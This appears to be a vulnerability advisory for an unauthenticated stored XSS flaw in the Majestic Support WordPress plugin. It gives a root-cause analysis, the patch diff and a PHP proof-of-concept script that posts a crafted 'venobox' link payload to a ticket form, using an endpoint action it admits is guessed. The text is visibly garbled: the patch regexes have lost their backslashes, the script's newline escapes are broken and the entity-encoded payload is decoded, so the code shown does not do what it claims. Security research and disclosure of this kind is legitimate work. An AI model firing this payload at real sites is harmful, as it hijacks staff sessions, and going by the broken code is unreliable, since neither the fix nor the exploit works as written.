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Published : November 17, 2026

CVE-2026-126699: Majestic Support <= 1.2.4 Unauthenticated Stored Cross-Site Scripting via 'mjsupport_message' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.2.4
Patched Version 1.2.5
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-126699: Majestic Support plugin for WordPress (versions up to 1.2.4) contains an unauthenticated stored cross-site scripting (XSS) vulnerability in the ‘mjsupport_message’ parameter. Attackers can inject arbitrary JavaScript into support tickets, which executes when a staff member or administrator views the ticket and clicks a crafted link. The CVSS score is 6.1 (Medium).

The root cause lies in insufficient sanitization and output escaping of user-supplied ticket messages. In majestic-support/modules/majesticsupport/model.php, the function getSanitizedEditorData() applies wp_filter_post_kses() to the raw input, which allows tags with class and href attributes. However, wp_kses_post preserves numeric character references (e.g., ") inside the href attribute. The plugin bundles VenoBox, a lightbox library that binds to elements with the class ‘venobox’ and copies the browser-decoded href value into innerHTML, enabling script execution. The vulnerability is triggered when a staff member clicks a specially crafted link within the ticket message, as the VenoBox payload executes on click rather than on page load. Exploitation requires the attacker to plant the link in a ticket message, which is submitted via the unauthenticated ticket creation form handled by the ‘mjsupport_message’ parameter.

An attacker submits a support ticket with a malicious payload in the ‘mjsupport_message’ field, such as a link with class ‘venobox’ and a crafted href containing HTML entities (e.g., " onmouseover=alert(1) x="). When a staff member views the ticket and clicks the link, VenoBox processes the href, decodes the entities, and injects the resulting string into innerHTML, executing the script in the staff member’s browser. The attack requires no authentication and can be delivered remotely. The payload is stored in the database and executes only upon a staff member’s click, meaning the attacker cannot trigger it independently; an administrator or staff action is required.

The patch adds a new private method MJTC_stripVenoboxBinding() in model.php, called within getSanitizedEditorData() before wpautop(). This method removes the ‘venobox’ class token from any class attribute and drops any data-href attributes from the content. This neutralizes the VenoBox binding because the library selects elements by the .venobox class and uses the data-href or href as the image source. Legitimate venobox links generated by the plugin’s own templates (for attachments) are not affected, as they do not pass through the editor. Additionally, the patch increments version numbers and update checks from 124 to 125. The fix ensures that attacker-supplied markup cannot trigger VenoBox’s innerHTML injection.

If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of a staff member’s browser. This could lead to session hijacking, theft of sensitive data (including cookies and authentication tokens), privilege escalation by performing actions on behalf of the staff member, and potentially full site compromise if an administrator is targeted. The stored nature of the XSS means the payload persists until removed, and it affects all users who view the ticket, though execution requires a click on the malicious link.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/majestic-support/includes/activation.php
+++ b/majestic-support/includes/activation.php
@@ -183,8 +183,8 @@
                     ('tplink_tickets_user', '1', 'tplink', NULL),
                     ('show_breadcrumbs', '1', 'default', NULL),
                     ('productcode', 'mjsupport', 'default', NULL),
-                    ('versioncode', '1.2.4', 'default', NULL),
-                    ('productversion', '124', 'default', NULL),
+                    ('versioncode', '1.2.5', 'default', NULL),
+                    ('productversion', '125', 'default', NULL),
                     ('producttype', 'free', 'default', NULL),
                     ('tve_enabled', '2', 'default', NULL),
                     ('tve_mailreadtype', '3', 'default', NULL),
--- a/majestic-support/majestic-support.php
+++ b/majestic-support/majestic-support.php
@@ -5,7 +5,7 @@
   Plugin URI: https://www.majesticsupport.com
   Description: Majestic Support is a trusted open source ticket system. Majestic Support is a simple, easy to use, web-based customer support system. User can create ticket from front-end. Majestic Support comes packed with lot features than most of the expensive(and complex) support ticket system on market. Majestic Support provide you best industry Majestic Support system.
   Author: Majestic Support
-  Version: 1.2.4
+  Version: 1.2.5
   License: GPLv3
   Text Domain: majestic-support
   Domain Path: /languages
@@ -62,7 +62,7 @@
         self::$_data = array();
         self::$_search = array();
         self::$_captcha = array();
-        self::$_currentversion = '124';
+        self::$_currentversion = '125';
         self::$_addon_query = array('select'=>'','join'=>'','where'=>'');
         self::$_mjtcsession = MJTC_includer::MJTC_getObjectClass('wphdsession');
         global $wpdb;
@@ -1479,7 +1479,7 @@
             if( $MJTC_plugin == $MJTC_our_plugin ) {
                 update_option('ms_currentversion', majesticsupport::$_currentversion);
                 include_once MJTC_PLUGIN_PATH . 'includes/updates/updates.php';
-                MJTC_updates::MJTC_checkUpdates('124');
+                MJTC_updates::MJTC_checkUpdates('125');
                 MJTC_includer::MJTC_getModel('majesticsupport')->updateColorFile();
                 MJTC_includer::MJTC_getModel('majesticsupport')->mjtc_check_license_status();
                 MJTC_includer::MJTC_getModel('premiumplugin')->MSAddonsAutoUpdate();
--- a/majestic-support/modules/majesticsupport/controller.php
+++ b/majestic-support/modules/majesticsupport/controller.php
@@ -21,7 +21,7 @@
                 case 'controlpanel':
                     MJTC_includer::MJTC_getModel('majesticsupport')->getControlPanelData();
                     include_once MJTC_PLUGIN_PATH . 'includes/updates/updates.php';
-                    MJTC_updates::MJTC_checkUpdates('124');
+                    MJTC_updates::MJTC_checkUpdates('125');
                     MJTC_includer::MJTC_getModel('majesticsupport')->updateColorFile();
                     break;
                 case 'admin_shortcodes':
--- a/majestic-support/modules/majesticsupport/model.php
+++ b/majestic-support/modules/majesticsupport/model.php
@@ -3151,11 +3151,45 @@
     function getSanitizedEditorData($MJTC_data){
         $MJTC_data = wp_filter_post_kses($MJTC_data);
         if ($MJTC_data != null){
+            $MJTC_data = $this->MJTC_stripVenoboxBinding($MJTC_data);
             $MJTC_data = MJTC_majesticsupportphplib::MJTC_stripslashes(wpautop($MJTC_data));
         }
         return $MJTC_data;
     }

+    /**
+     * Neutralise the VenoBox lightbox binding in user-authored editor content.
+     *
+     * wp_kses_post keeps <a class="venobox" ...> and preserves numeric character
+     * references (e.g. ") inside href. The bundled VenoBox binder is attached
+     * to every .venobox link and copies the browser-decoded href straight into
+     * innerHTML, so a crafted href could break out and run script in a staff
+     * session. Legitimate venobox links are built by the plugin's own templates
+     * around attachments and never come through the editor, so we drop the
+     * `venobox` class token (which the binder selects on) and any data-href from
+     * stored content. Paired with the DOM-based image build in venobox.js, the
+     * lightbox can no longer be driven from attacker-supplied markup.
+     */
+    private function MJTC_stripVenoboxBinding($MJTC_data){
+        if ($MJTC_data === '' || stripos($MJTC_data, 'venobox') === false){
+            return $MJTC_data;
+        }
+        // Remove the `venobox` token from any class attribute (drop the whole
+        // attribute when nothing else is left).
+        $MJTC_data = preg_replace_callback(
+            '/sclasss*=s*("|')(.*?)1/is',
+            function($MJTC_m){
+                $MJTC_class = preg_replace('/bvenoboxb/i', '', $MJTC_m[2]);
+                $MJTC_class = trim(preg_replace('/s+/', ' ', $MJTC_class));
+                return ($MJTC_class === '') ? '' : ' class=' . $MJTC_m[1] . $MJTC_class . $MJTC_m[1];
+            },
+            $MJTC_data
+        );
+        // Drop data-href, which the binder prefers over href as the image source.
+        $MJTC_data = preg_replace('/sdata-hrefs*=s*("|').*?1/is', '', $MJTC_data);
+        return $MJTC_data;
+    }
+
     function getEncriptedSiteLink(){
         $MJTC_siteLink = get_option('ms_encripted_site_link');
         if ($MJTC_siteLink == '') {

ModSecurity Protection Against This CVE

Proof of Concept (PHP)

PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126699 - Majestic Support <= 1.2.4 - Unauthenticated Stored Cross-Site Scripting via 'mjsupport_message' Parameter

// Configure target URL (WordPress site with Majestic Support plugin <= 1.2.4)
$target_url = 'http://example.com';

// The payload: a link with class 'venobox' and a crafted href that breaks out via HTML entities
// When decoded by the browser and processed by VenoBox, it executes JavaScript.
$payload = '<a class="venobox" href="" onmouseover=alert(document.domain) x="">Click me</a>';

// Endpoint for ticket submission (assumed: the plugin's front-end ticket form)
// The exact endpoint may vary; this uses the typical admin-ajax.php with an action.
$endpoint = $target_url . '/wp-admin/admin-ajax.php';

// POST data: action parameter for ticket submission (assumed from plugin behavior)
// Additional fields may be required (e.g., subject, email) but are omitted for brevity.
$post_data = array(
    'action' => 'mjtc_submit_ticket', // hypothetical action name; adjust as needed
    'mjsupport_message' => $payload,
    'subject' => 'Test Ticket',
    'email' => 'attacker@example.com'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "[*] Sent payload to $endpointn";
echo "[*] HTTP status: $http_coden";
echo "[*] Response length: " . strlen($response) . " bytesn";

// If successful, the ticket is created with the stored XSS payload.
// When a staff member views the ticket and clicks the link, the script executes.
?>

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